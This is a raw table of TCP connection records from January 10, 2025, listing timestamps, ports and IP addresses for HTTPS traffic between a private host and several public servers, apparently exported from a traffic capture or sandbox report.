Jan 10, 2025 20:49:36.251647949 CET	49749	443	192.168.2.17	142.250.186.66
Jan 10, 2025 20:49:36.251662970 CET	443	49749	142.250.186.66	192.168.2.17
Jan 10, 2025 20:49:36.277214050 CET	443	49742	157.240.0.6	192.168.2.17
Jan 10, 2025 20:49:36.277241945 CET	443	49742	157.240.0.6	192.168.2.17
Jan 10, 2025 20:49:36.277321100 CET	49742	443	192.168.2.17	157.240.0.6
Jan 10, 2025 20:49:36.277357101 CET	443	49742	157.240.0.6	192.168.2.17
Jan 10, 2025 20:49:36.308661938 CET	443	49742	157.240.0.6	192.168.2.17
Jan 10, 2025 20:49:36.308701992 CET	443	49742	157.240.0.6	192.168.2.17
Jan 10, 2025 20:49:36.308715105 CET	443	49742	157.240.0.6	192.168.2.17
Jan 10, 2025 20:49:36.308722019 CET	49742	443	192.168.2.17	157.240.0.6
Jan 10, 2025 20:49:36.308732033 CET	443	49742	157.240.0.6	192.168.2.17
Jan 10, 2025 20:49:36.308747053 CET	49742	443	192.168.2.17	157.240.0.6
Jan 10, 2025 20:49:36.308752060 CET	443	49742	157.240.0.6	192.168.2.17
Jan 10, 2025 20:49:36.308773994 CET	49742	443	192.168.2.17	157.240.0.6
Jan 10, 2025 20:49:36.314896107 CET	443	49742	157.240.0.6	192.168.2.17
Jan 10, 2025 20:49:36.315218925 CET	49742	443	192.168.2.17	157.240.0.6
Jan 10, 2025 20:49:36.315246105 CET	443	49742	157.240.0.6	192.168.2.17
Jan 10, 2025 20:49:36.333376884 CET	443	49742	157.240.0.6	192.168.2.17
Jan 10, 2025 20:49:36.333400011 CET	443	49742	157.240.0.6	192.168.2.17
Jan 10, 2025 20:49:36.333444118 CET	49742	443	192.168.2.17	157.240.0.6
Jan 10, 2025 20:49:36.333476067 CET	443	49742	157.240.0.6	192.168.2.17
Jan 10, 2025 20:49:36.333489895 CET	49742	443	192.168.2.17	157.240.0.6
Jan 10, 2025 20:49:36.333518028 CET	49742	443	192.168.2.17	157.240.0.6
Jan 10, 2025 20:49:36.337826014 CET	443	49743	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:36.337897062 CET	49743	443	192.168.2.17	157.240.251.9
Jan 10, 2025 20:49:36.338027954 CET	443	49743	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:36.338171959 CET	443	49743	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:36.338221073 CET	49743	443	192.168.2.17	157.240.251.9
Jan 10, 2025 20:49:36.338232994 CET	443	49743	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:36.357485056 CET	443	49742	157.240.0.6	192.168.2.17
Jan 10, 2025 20:49:36.357511044 CET	443	49742	157.240.0.6	192.168.2.17
Jan 10, 2025 20:49:36.357572079 CET	49742	443	192.168.2.17	157.240.0.6
Jan 10, 2025 20:49:36.357597113 CET	443	49742	157.240.0.6	192.168.2.17
Jan 10, 2025 20:49:36.357640028 CET	49742	443	192.168.2.17	157.240.0.6
Jan 10, 2025 20:49:36.384748936 CET	49743	443	192.168.2.17	157.240.251.9
Jan 10, 2025 20:49:36.391330957 CET	443	49742	157.240.0.6	192.168.2.17
Jan 10, 2025 20:49:36.391355038 CET	443	49742	157.240.0.6	192.168.2.17
Jan 10, 2025 20:49:36.391411066 CET	49742	443	192.168.2.17	157.240.0.6
Jan 10, 2025 20:49:36.391433954 CET	443	49742	157.240.0.6	192.168.2.17
Jan 10, 2025 20:49:36.391452074 CET	49742	443	192.168.2.17	157.240.0.6
Jan 10, 2025 20:49:36.391477108 CET	49742	443	192.168.2.17	157.240.0.6
Jan 10, 2025 20:49:36.395816088 CET	443	49750	93.158.134.119	192.168.2.17
Jan 10, 2025 20:49:36.396115065 CET	49750	443	192.168.2.17	93.158.134.119
Jan 10, 2025 20:49:36.396123886 CET	443	49750	93.158.134.119	192.168.2.17
Jan 10, 2025 20:49:36.397171021 CET	443	49750	93.158.134.119	192.168.2.17
Jan 10, 2025 20:49:36.397244930 CET	49750	443	192.168.2.17	93.158.134.119
Jan 10, 2025 20:49:36.397578955 CET	49750	443	192.168.2.17	93.158.134.119
Jan 10, 2025 20:49:36.397640944 CET	443	49750	93.158.134.119	192.168.2.17
Jan 10, 2025 20:49:36.397788048 CET	49750	443	192.168.2.17	93.158.134.119
Jan 10, 2025 20:49:36.397795916 CET	443	49750	93.158.134.119	192.168.2.17
Jan 10, 2025 20:49:36.399013996 CET	443	49742	157.240.0.6	192.168.2.17
Jan 10, 2025 20:49:36.399075031 CET	443	49742	157.240.0.6	192.168.2.17
Jan 10, 2025 20:49:36.399126053 CET	49742	443	192.168.2.17	157.240.0.6
Jan 10, 2025 20:49:36.399142981 CET	443	49742	157.240.0.6	192.168.2.17
Jan 10, 2025 20:49:36.399153948 CET	49742	443	192.168.2.17	157.240.0.6
Jan 10, 2025 20:49:36.400743008 CET	443	49742	157.240.0.6	192.168.2.17
Jan 10, 2025 20:49:36.400814056 CET	49742	443	192.168.2.17	157.240.0.6
Jan 10, 2025 20:49:36.400821924 CET	443	49742	157.240.0.6	192.168.2.17
Jan 10, 2025 20:49:36.400868893 CET	49742	443	192.168.2.17	157.240.0.6
Jan 10, 2025 20:49:36.409246922 CET	443	49742	157.240.0.6	192.168.2.17
Jan 10, 2025 20:49:36.409293890 CET	443	49742	157.240.0.6	192.168.2.17
Jan 10, 2025 20:49:36.409326077 CET	49742	443	192.168.2.17	157.240.0.6
Jan 10, 2025 20:49:36.409346104 CET	443	49742	157.240.0.6	192.168.2.17
Jan 10, 2025 20:49:36.409359932 CET	49742	443	192.168.2.17	157.240.0.6
Jan 10, 2025 20:49:36.409385920 CET	49742	443	192.168.2.17	157.240.0.6
Jan 10, 2025 20:49:36.421325922 CET	443	49742	157.240.0.6	192.168.2.17
Jan 10, 2025 20:49:36.421353102 CET	443	49742	157.240.0.6	192.168.2.17
Jan 10, 2025 20:49:36.421397924 CET	49742	443	192.168.2.17	157.240.0.6
Jan 10, 2025 20:49:36.421416044 CET	443	49742	157.240.0.6	192.168.2.17
Jan 10, 2025 20:49:36.421432018 CET	49742	443	192.168.2.17	157.240.0.6
Jan 10, 2025 20:49:36.421453953 CET	49742	443	192.168.2.17	157.240.0.6
Jan 10, 2025 20:49:36.426033020 CET	443	49743	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:36.426045895 CET	443	49743	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:36.426070929 CET	443	49743	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:36.426100016 CET	443	49743	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:36.426112890 CET	49743	443	192.168.2.17	157.240.251.9
Jan 10, 2025 20:49:36.426125050 CET	443	49743	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:36.426140070 CET	49743	443	192.168.2.17	157.240.251.9
Jan 10, 2025 20:49:36.426161051 CET	49743	443	192.168.2.17	157.240.251.9
Jan 10, 2025 20:49:36.429980040 CET	443	49743	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:36.430027962 CET	443	49743	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:36.430043936 CET	49743	443	192.168.2.17	157.240.251.9
Jan 10, 2025 20:49:36.430052042 CET	443	49743	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:36.430094004 CET	49743	443	192.168.2.17	157.240.251.9
Jan 10, 2025 20:49:36.432857037 CET	443	49742	157.240.0.6	192.168.2.17
Jan 10, 2025 20:49:36.432879925 CET	443	49742	157.240.0.6	192.168.2.17
Jan 10, 2025 20:49:36.432920933 CET	49742	443	192.168.2.17	157.240.0.6
Jan 10, 2025 20:49:36.432934046 CET	443	49742	157.240.0.6	192.168.2.17
Jan 10, 2025 20:49:36.432960987 CET	49742	443	192.168.2.17	157.240.0.6
Jan 10, 2025 20:49:36.432996035 CET	49742	443	192.168.2.17	157.240.0.6
Jan 10, 2025 20:49:36.443914890 CET	443	49742	157.240.0.6	192.168.2.17
Jan 10, 2025 20:49:36.443934917 CET	443	49742	157.240.0.6	192.168.2.17
Jan 10, 2025 20:49:36.443999052 CET	49742	443	192.168.2.17	157.240.0.6
Jan 10, 2025 20:49:36.444015980 CET	443	49742	157.240.0.6	192.168.2.17
Jan 10, 2025 20:49:36.444062948 CET	49742	443	192.168.2.17	157.240.0.6
Jan 10, 2025 20:49:36.447896957 CET	443	49742	157.240.0.6	192.168.2.17
Jan 10, 2025 20:49:36.447961092 CET	49742	443	192.168.2.17	157.240.0.6
Jan 10, 2025 20:49:36.448741913 CET	49750	443	192.168.2.17	93.158.134.119
Jan 10, 2025 20:49:36.456134081 CET	443	49742	157.240.0.6	192.168.2.17
Jan 10, 2025 20:49:36.456187010 CET	443	49742	157.240.0.6	192.168.2.17
Jan 10, 2025 20:49:36.456219912 CET	49742	443	192.168.2.17	157.240.0.6
Jan 10, 2025 20:49:36.456228971 CET	443	49742	157.240.0.6	192.168.2.17
Jan 10, 2025 20:49:36.456244946 CET	49742	443	192.168.2.17	157.240.0.6
Jan 10, 2025 20:49:36.461600065 CET	443	49743	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:36.461664915 CET	443	49743	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:36.461685896 CET	49743	443	192.168.2.17	157.240.251.9
Jan 10, 2025 20:49:36.461693048 CET	443	49743	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:36.461740971 CET	49743	443	192.168.2.17	157.240.251.9
Jan 10, 2025 20:49:36.466149092 CET	443	49743	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:36.466193914 CET	443	49743	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:36.466211081 CET	49743	443	192.168.2.17	157.240.251.9
Jan 10, 2025 20:49:36.466216087 CET	443	49743	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:36.466259956 CET	49743	443	192.168.2.17	157.240.251.9
Jan 10, 2025 20:49:36.467513084 CET	443	49742	157.240.0.6	192.168.2.17
Jan 10, 2025 20:49:36.467529058 CET	443	49742	157.240.0.6	192.168.2.17
Jan 10, 2025 20:49:36.467576981 CET	49742	443	192.168.2.17	157.240.0.6
Jan 10, 2025 20:49:36.467585087 CET	443	49742	157.240.0.6	192.168.2.17
Jan 10, 2025 20:49:36.467614889 CET	49742	443	192.168.2.17	157.240.0.6
Jan 10, 2025 20:49:36.482247114 CET	443	49742	157.240.0.6	192.168.2.17
Jan 10, 2025 20:49:36.482269049 CET	443	49742	157.240.0.6	192.168.2.17
Jan 10, 2025 20:49:36.482347012 CET	49742	443	192.168.2.17	157.240.0.6
Jan 10, 2025 20:49:36.482372999 CET	443	49742	157.240.0.6	192.168.2.17
Jan 10, 2025 20:49:36.483021975 CET	443	49742	157.240.0.6	192.168.2.17
Jan 10, 2025 20:49:36.483097076 CET	49742	443	192.168.2.17	157.240.0.6
Jan 10, 2025 20:49:36.483104944 CET	443	49742	157.240.0.6	192.168.2.17
Jan 10, 2025 20:49:36.483118057 CET	443	49742	157.240.0.6	192.168.2.17
Jan 10, 2025 20:49:36.483210087 CET	49742	443	192.168.2.17	157.240.0.6
Jan 10, 2025 20:49:36.483326912 CET	49742	443	192.168.2.17	157.240.0.6
Jan 10, 2025 20:49:36.483340979 CET	443	49742	157.240.0.6	192.168.2.17
Jan 10, 2025 20:49:36.513396978 CET	443	49743	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:36.513452053 CET	443	49743	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:36.513485909 CET	49743	443	192.168.2.17	157.240.251.9
Jan 10, 2025 20:49:36.513492107 CET	443	49743	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:36.513518095 CET	49743	443	192.168.2.17	157.240.251.9
Jan 10, 2025 20:49:36.513531923 CET	49743	443	192.168.2.17	157.240.251.9
Jan 10, 2025 20:49:36.513557911 CET	443	49743	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:36.513607979 CET	49743	443	192.168.2.17	157.240.251.9
Jan 10, 2025 20:49:36.513691902 CET	443	49743	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:36.513734102 CET	49743	443	192.168.2.17	157.240.251.9
Jan 10, 2025 20:49:36.530242920 CET	443	49743	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:36.530316114 CET	443	49743	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:36.530328035 CET	49743	443	192.168.2.17	157.240.251.9
Jan 10, 2025 20:49:36.530348063 CET	443	49743	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:36.530365944 CET	49743	443	192.168.2.17	157.240.251.9
Jan 10, 2025 20:49:36.530389071 CET	49743	443	192.168.2.17	157.240.251.9
Jan 10, 2025 20:49:36.533910036 CET	443	49743	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:36.533976078 CET	49743	443	192.168.2.17	157.240.251.9
Jan 10, 2025 20:49:36.538261890 CET	443	49743	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:36.538309097 CET	49743	443	192.168.2.17	157.240.251.9
Jan 10, 2025 20:49:36.538393974 CET	443	49743	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:36.538613081 CET	443	49743	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:36.538666964 CET	49743	443	192.168.2.17	157.240.251.9
Jan 10, 2025 20:49:36.538991928 CET	49743	443	192.168.2.17	157.240.251.9
Jan 10, 2025 20:49:36.539009094 CET	443	49743	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:36.543174982 CET	49759	443	192.168.2.17	157.240.0.6
Jan 10, 2025 20:49:36.543224096 CET	443	49759	157.240.0.6	192.168.2.17
Jan 10, 2025 20:49:36.543281078 CET	49759	443	192.168.2.17	157.240.0.6
Jan 10, 2025 20:49:36.543550968 CET	49759	443	192.168.2.17	157.240.0.6
Jan 10, 2025 20:49:36.543565989 CET	443	49759	157.240.0.6	192.168.2.17
Jan 10, 2025 20:49:36.579051971 CET	49760	443	192.168.2.17	157.240.253.35
Jan 10, 2025 20:49:36.579085112 CET	443	49760	157.240.253.35	192.168.2.17
Jan 10, 2025 20:49:36.579159975 CET	49760	443	192.168.2.17	157.240.253.35
Jan 10, 2025 20:49:36.579528093 CET	49760	443	192.168.2.17	157.240.253.35
Jan 10, 2025 20:49:36.579541922 CET	443	49760	157.240.253.35	192.168.2.17
Jan 10, 2025 20:49:36.661412954 CET	443	49752	87.250.250.119	192.168.2.17
Jan 10, 2025 20:49:36.661633968 CET	49752	443	192.168.2.17	87.250.250.119
Jan 10, 2025 20:49:36.661650896 CET	443	49752	87.250.250.119	192.168.2.17
Jan 10, 2025 20:49:36.662636995 CET	443	49752	87.250.250.119	192.168.2.17
Jan 10, 2025 20:49:36.662760973 CET	49752	443	192.168.2.17	87.250.250.119
Jan 10, 2025 20:49:36.665174007 CET	49752	443	192.168.2.17	87.250.250.119
Jan 10, 2025 20:49:36.665268898 CET	443	49752	87.250.250.119	192.168.2.17
Jan 10, 2025 20:49:36.665309906 CET	49752	443	192.168.2.17	87.250.250.119
Jan 10, 2025 20:49:36.671144009 CET	443	49751	87.250.250.119	192.168.2.17
Jan 10, 2025 20:49:36.671372890 CET	49751	443	192.168.2.17	87.250.250.119
Jan 10, 2025 20:49:36.671400070 CET	443	49751	87.250.250.119	192.168.2.17
Jan 10, 2025 20:49:36.672410011 CET	443	49751	87.250.250.119	192.168.2.17
Jan 10, 2025 20:49:36.672477007 CET	49751	443	192.168.2.17	87.250.250.119
Jan 10, 2025 20:49:36.672781944 CET	49751	443	192.168.2.17	87.250.250.119
Jan 10, 2025 20:49:36.672864914 CET	443	49751	87.250.250.119	192.168.2.17
Jan 10, 2025 20:49:36.672904015 CET	49751	443	192.168.2.17	87.250.250.119
Jan 10, 2025 20:49:36.707340956 CET	443	49752	87.250.250.119	192.168.2.17
Jan 10, 2025 20:49:36.715333939 CET	443	49751	87.250.250.119	192.168.2.17
Jan 10, 2025 20:49:36.718744993 CET	49751	443	192.168.2.17	87.250.250.119
Jan 10, 2025 20:49:36.718744993 CET	49752	443	192.168.2.17	87.250.250.119
Jan 10, 2025 20:49:36.718767881 CET	443	49751	87.250.250.119	192.168.2.17
Jan 10, 2025 20:49:36.718771935 CET	443	49752	87.250.250.119	192.168.2.17
Jan 10, 2025 20:49:36.730417013 CET	49761	443	192.168.2.17	157.240.253.35
Jan 10, 2025 20:49:36.730462074 CET	443	49761	157.240.253.35	192.168.2.17
Jan 10, 2025 20:49:36.730545998 CET	49761	443	192.168.2.17	157.240.253.35
Jan 10, 2025 20:49:36.730750084 CET	49761	443	192.168.2.17	157.240.253.35
Jan 10, 2025 20:49:36.730762005 CET	443	49761	157.240.253.35	192.168.2.17
Jan 10, 2025 20:49:36.759298086 CET	443	49750	93.158.134.119	192.168.2.17
Jan 10, 2025 20:49:36.766736031 CET	49751	443	192.168.2.17	87.250.250.119
Jan 10, 2025 20:49:36.766746044 CET	49752	443	192.168.2.17	87.250.250.119
Jan 10, 2025 20:49:36.767676115 CET	443	49750	93.158.134.119	192.168.2.17
Jan 10, 2025 20:49:36.767692089 CET	443	49750	93.158.134.119	192.168.2.17
Jan 10, 2025 20:49:36.767748117 CET	49750	443	192.168.2.17	93.158.134.119
Jan 10, 2025 20:49:36.767776012 CET	443	49750	93.158.134.119	192.168.2.17
Jan 10, 2025 20:49:36.778669119 CET	443	49753	87.250.251.119	192.168.2.17
Jan 10, 2025 20:49:36.778999090 CET	49753	443	192.168.2.17	87.250.251.119
Jan 10, 2025 20:49:36.779027939 CET	443	49753	87.250.251.119	192.168.2.17
Jan 10, 2025 20:49:36.780016899 CET	443	49753	87.250.251.119	192.168.2.17
Jan 10, 2025 20:49:36.780090094 CET	49753	443	192.168.2.17	87.250.251.119
Jan 10, 2025 20:49:36.780365944 CET	49753	443	192.168.2.17	87.250.251.119
Jan 10, 2025 20:49:36.780436039 CET	443	49753	87.250.251.119	192.168.2.17
Jan 10, 2025 20:49:36.780502081 CET	49753	443	192.168.2.17	87.250.251.119
Jan 10, 2025 20:49:36.780509949 CET	443	49753	87.250.251.119	192.168.2.17
Jan 10, 2025 20:49:36.793857098 CET	443	49750	93.158.134.119	192.168.2.17
Jan 10, 2025 20:49:36.793905020 CET	443	49750	93.158.134.119	192.168.2.17
Jan 10, 2025 20:49:36.793971062 CET	49750	443	192.168.2.17	93.158.134.119
Jan 10, 2025 20:49:36.794008970 CET	443	49750	93.158.134.119	192.168.2.17
Jan 10, 2025 20:49:36.794029951 CET	49750	443	192.168.2.17	93.158.134.119
Jan 10, 2025 20:49:36.796528101 CET	443	49755	173.194.76.156	192.168.2.17
Jan 10, 2025 20:49:36.796765089 CET	49755	443	192.168.2.17	173.194.76.156
Jan 10, 2025 20:49:36.796792030 CET	443	49755	173.194.76.156	192.168.2.17
Jan 10, 2025 20:49:36.797852039 CET	443	49755	173.194.76.156	192.168.2.17
Jan 10, 2025 20:49:36.797919989 CET	49755	443	192.168.2.17	173.194.76.156
Jan 10, 2025 20:49:36.798834085 CET	49755	443	192.168.2.17	173.194.76.156
Jan 10, 2025 20:49:36.798917055 CET	443	49755	173.194.76.156	192.168.2.17
Jan 10, 2025 20:49:36.798985004 CET	49755	443	192.168.2.17	173.194.76.156
Jan 10, 2025 20:49:36.798995972 CET	443	49755	173.194.76.156	192.168.2.17
Jan 10, 2025 20:49:36.830828905 CET	49753	443	192.168.2.17	87.250.251.119
Jan 10, 2025 20:49:36.848141909 CET	49750	443	192.168.2.17	93.158.134.119
Jan 10, 2025 20:49:36.848196030 CET	49755	443	192.168.2.17	173.194.76.156
Jan 10, 2025 20:49:36.907293081 CET	443	49750	93.158.134.119	192.168.2.17
Jan 10, 2025 20:49:36.907321930 CET	443	49750	93.158.134.119	192.168.2.17
Jan 10, 2025 20:49:36.907344103 CET	443	49750	93.158.134.119	192.168.2.17
Jan 10, 2025 20:49:36.907433033 CET	49750	443	192.168.2.17	93.158.134.119
Jan 10, 2025 20:49:36.907463074 CET	49750	443	192.168.2.17	93.158.134.119
Jan 10, 2025 20:49:36.907474995 CET	443	49750	93.158.134.119	192.168.2.17
Jan 10, 2025 20:49:36.914258957 CET	443	49750	93.158.134.119	192.168.2.17
Jan 10, 2025 20:49:36.914347887 CET	49750	443	192.168.2.17	93.158.134.119
Jan 10, 2025 20:49:36.914356947 CET	443	49750	93.158.134.119	192.168.2.17
Jan 10, 2025 20:49:36.930974960 CET	443	49750	93.158.134.119	192.168.2.17
Jan 10, 2025 20:49:36.931015968 CET	443	49750	93.158.134.119	192.168.2.17
Jan 10, 2025 20:49:36.931096077 CET	49750	443	192.168.2.17	93.158.134.119
Jan 10, 2025 20:49:36.931128979 CET	443	49750	93.158.134.119	192.168.2.17
Jan 10, 2025 20:49:36.931184053 CET	49750	443	192.168.2.17	93.158.134.119
Jan 10, 2025 20:49:36.955043077 CET	443	49750	93.158.134.119	192.168.2.17
Jan 10, 2025 20:49:36.955063105 CET	443	49750	93.158.134.119	192.168.2.17
Jan 10, 2025 20:49:36.955344915 CET	49750	443	192.168.2.17	93.158.134.119
Jan 10, 2025 20:49:36.955379009 CET	443	49750	93.158.134.119	192.168.2.17
Jan 10, 2025 20:49:36.987009048 CET	443	49750	93.158.134.119	192.168.2.17
Jan 10, 2025 20:49:36.987034082 CET	443	49750	93.158.134.119	192.168.2.17
Jan 10, 2025 20:49:36.987103939 CET	49750	443	192.168.2.17	93.158.134.119
Jan 10, 2025 20:49:36.987135887 CET	443	49750	93.158.134.119	192.168.2.17
Jan 10, 2025 20:49:37.020359039 CET	443	49750	93.158.134.119	192.168.2.17
Jan 10, 2025 20:49:37.020378113 CET	443	49750	93.158.134.119	192.168.2.17
Jan 10, 2025 20:49:37.020397902 CET	443	49750	93.158.134.119	192.168.2.17
Jan 10, 2025 20:49:37.020436049 CET	49750	443	192.168.2.17	93.158.134.119
Jan 10, 2025 20:49:37.020468950 CET	443	49750	93.158.134.119	192.168.2.17
Jan 10, 2025 20:49:37.020498991 CET	49750	443	192.168.2.17	93.158.134.119
Jan 10, 2025 20:49:37.025820971 CET	443	49752	87.250.250.119	192.168.2.17
Jan 10, 2025 20:49:37.025938034 CET	443	49752	87.250.250.119	192.168.2.17
Jan 10, 2025 20:49:37.025985956 CET	49752	443	192.168.2.17	87.250.250.119
Jan 10, 2025 20:49:37.026262045 CET	49752	443	192.168.2.17	87.250.250.119
Jan 10, 2025 20:49:37.026285887 CET	443	49752	87.250.250.119	192.168.2.17
Jan 10, 2025 20:49:37.026298046 CET	49752	443	192.168.2.17	87.250.250.119
Jan 10, 2025 20:49:37.026329994 CET	49752	443	192.168.2.17	87.250.250.119
Jan 10, 2025 20:49:37.027960062 CET	49763	443	192.168.2.17	77.88.21.119
Jan 10, 2025 20:49:37.027996063 CET	443	49763	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:37.028063059 CET	49763	443	192.168.2.17	77.88.21.119
Jan 10, 2025 20:49:37.028307915 CET	49763	443	192.168.2.17	77.88.21.119
Jan 10, 2025 20:49:37.028317928 CET	443	49763	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:37.036225080 CET	443	49751	87.250.250.119	192.168.2.17
Jan 10, 2025 20:49:37.050388098 CET	443	49750	93.158.134.119	192.168.2.17
Jan 10, 2025 20:49:37.050410032 CET	443	49750	93.158.134.119	192.168.2.17
Jan 10, 2025 20:49:37.050434113 CET	443	49750	93.158.134.119	192.168.2.17
Jan 10, 2025 20:49:37.050460100 CET	49750	443	192.168.2.17	93.158.134.119
Jan 10, 2025 20:49:37.050492048 CET	443	49750	93.158.134.119	192.168.2.17
Jan 10, 2025 20:49:37.050513983 CET	49750	443	192.168.2.17	93.158.134.119
Jan 10, 2025 20:49:37.059040070 CET	443	49755	173.194.76.156	192.168.2.17
Jan 10, 2025 20:49:37.059134960 CET	443	49755	173.194.76.156	192.168.2.17
Jan 10, 2025 20:49:37.059182882 CET	49755	443	192.168.2.17	173.194.76.156
Jan 10, 2025 20:49:37.059585094 CET	49755	443	192.168.2.17	173.194.76.156
Jan 10, 2025 20:49:37.059602976 CET	443	49755	173.194.76.156	192.168.2.17
Jan 10, 2025 20:49:37.064771891 CET	443	49750	93.158.134.119	192.168.2.17
Jan 10, 2025 20:49:37.064793110 CET	443	49750	93.158.134.119	192.168.2.17
Jan 10, 2025 20:49:37.064836025 CET	49750	443	192.168.2.17	93.158.134.119
Jan 10, 2025 20:49:37.064867020 CET	443	49750	93.158.134.119	192.168.2.17
Jan 10, 2025 20:49:37.064884901 CET	49750	443	192.168.2.17	93.158.134.119
Jan 10, 2025 20:49:37.083551884 CET	443	49750	93.158.134.119	192.168.2.17
Jan 10, 2025 20:49:37.083564043 CET	443	49750	93.158.134.119	192.168.2.17
Jan 10, 2025 20:49:37.083583117 CET	443	49750	93.158.134.119	192.168.2.17
Jan 10, 2025 20:49:37.083616972 CET	49750	443	192.168.2.17	93.158.134.119
Jan 10, 2025 20:49:37.083643913 CET	443	49750	93.158.134.119	192.168.2.17
Jan 10, 2025 20:49:37.083663940 CET	49750	443	192.168.2.17	93.158.134.119
Jan 10, 2025 20:49:37.086740971 CET	49751	443	192.168.2.17	87.250.250.119
Jan 10, 2025 20:49:37.086776018 CET	443	49751	87.250.250.119	192.168.2.17
Jan 10, 2025 20:49:37.087671041 CET	49751	443	192.168.2.17	87.250.250.119
Jan 10, 2025 20:49:37.087786913 CET	443	49751	87.250.250.119	192.168.2.17
Jan 10, 2025 20:49:37.087838888 CET	49751	443	192.168.2.17	87.250.250.119
Jan 10, 2025 20:49:37.098565102 CET	49764	443	192.168.2.17	87.250.251.119
Jan 10, 2025 20:49:37.098604918 CET	443	49764	87.250.251.119	192.168.2.17
Jan 10, 2025 20:49:37.098670959 CET	49764	443	192.168.2.17	87.250.251.119
Jan 10, 2025 20:49:37.098860979 CET	49764	443	192.168.2.17	87.250.251.119
Jan 10, 2025 20:49:37.098874092 CET	443	49764	87.250.251.119	192.168.2.17
Jan 10, 2025 20:49:37.110292912 CET	443	49750	93.158.134.119	192.168.2.17
Jan 10, 2025 20:49:37.110315084 CET	443	49750	93.158.134.119	192.168.2.17
Jan 10, 2025 20:49:37.110332012 CET	443	49750	93.158.134.119	192.168.2.17
Jan 10, 2025 20:49:37.110369921 CET	49750	443	192.168.2.17	93.158.134.119
Jan 10, 2025 20:49:37.110399961 CET	443	49750	93.158.134.119	192.168.2.17
Jan 10, 2025 20:49:37.110418081 CET	49750	443	192.168.2.17	93.158.134.119
Jan 10, 2025 20:49:37.149739027 CET	49750	443	192.168.2.17	93.158.134.119
Jan 10, 2025 20:49:37.149779081 CET	443	49750	93.158.134.119	192.168.2.17
Jan 10, 2025 20:49:37.197727919 CET	49750	443	192.168.2.17	93.158.134.119
Jan 10, 2025 20:49:37.217621088 CET	49765	443	192.168.2.17	87.250.250.119
Jan 10, 2025 20:49:37.217693090 CET	443	49765	87.250.250.119	192.168.2.17
Jan 10, 2025 20:49:37.217784882 CET	49765	443	192.168.2.17	87.250.250.119
Jan 10, 2025 20:49:37.218097925 CET	49765	443	192.168.2.17	87.250.250.119
Jan 10, 2025 20:49:37.218116045 CET	443	49765	87.250.250.119	192.168.2.17
Jan 10, 2025 20:49:37.325995922 CET	443	49750	93.158.134.119	192.168.2.17
Jan 10, 2025 20:49:37.326023102 CET	443	49750	93.158.134.119	192.168.2.17
Jan 10, 2025 20:49:37.326051950 CET	443	49750	93.158.134.119	192.168.2.17
Jan 10, 2025 20:49:37.326164961 CET	443	49750	93.158.134.119	192.168.2.17
Jan 10, 2025 20:49:37.326178074 CET	49750	443	192.168.2.17	93.158.134.119
Jan 10, 2025 20:49:37.326180935 CET	443	49750	93.158.134.119	192.168.2.17
Jan 10, 2025 20:49:37.326200008 CET	443	49750	93.158.134.119	192.168.2.17
Jan 10, 2025 20:49:37.326224089 CET	49750	443	192.168.2.17	93.158.134.119
Jan 10, 2025 20:49:37.326237917 CET	443	49750	93.158.134.119	192.168.2.17
Jan 10, 2025 20:49:37.326256037 CET	49750	443	192.168.2.17	93.158.134.119
Jan 10, 2025 20:49:37.326325893 CET	443	49750	93.158.134.119	192.168.2.17
Jan 10, 2025 20:49:37.326337099 CET	443	49750	93.158.134.119	192.168.2.17
Jan 10, 2025 20:49:37.326380014 CET	49750	443	192.168.2.17	93.158.134.119
Jan 10, 2025 20:49:37.326387882 CET	443	49750	93.158.134.119	192.168.2.17
Jan 10, 2025 20:49:37.326411963 CET	443	49750	93.158.134.119	192.168.2.17
Jan 10, 2025 20:49:37.326436043 CET	443	49753	87.250.251.119	192.168.2.17
Jan 10, 2025 20:49:37.326437950 CET	49750	443	192.168.2.17	93.158.134.119
Jan 10, 2025 20:49:37.326458931 CET	49750	443	192.168.2.17	93.158.134.119
Jan 10, 2025 20:49:37.326463938 CET	443	49750	93.158.134.119	192.168.2.17
Jan 10, 2025 20:49:37.326482058 CET	443	49753	87.250.251.119	192.168.2.17
Jan 10, 2025 20:49:37.326484919 CET	443	49750	93.158.134.119	192.168.2.17
Jan 10, 2025 20:49:37.326512098 CET	443	49753	87.250.251.119	192.168.2.17
Jan 10, 2025 20:49:37.326535940 CET	49750	443	192.168.2.17	93.158.134.119
Jan 10, 2025 20:49:37.326536894 CET	49753	443	192.168.2.17	87.250.251.119
Jan 10, 2025 20:49:37.326541901 CET	443	49750	93.158.134.119	192.168.2.17
Jan 10, 2025 20:49:37.326565981 CET	49750	443	192.168.2.17	93.158.134.119
Jan 10, 2025 20:49:37.326584101 CET	49750	443	192.168.2.17	93.158.134.119
Jan 10, 2025 20:49:37.326658964 CET	443	49750	93.158.134.119	192.168.2.17
Jan 10, 2025 20:49:37.326728106 CET	49750	443	192.168.2.17	93.158.134.119
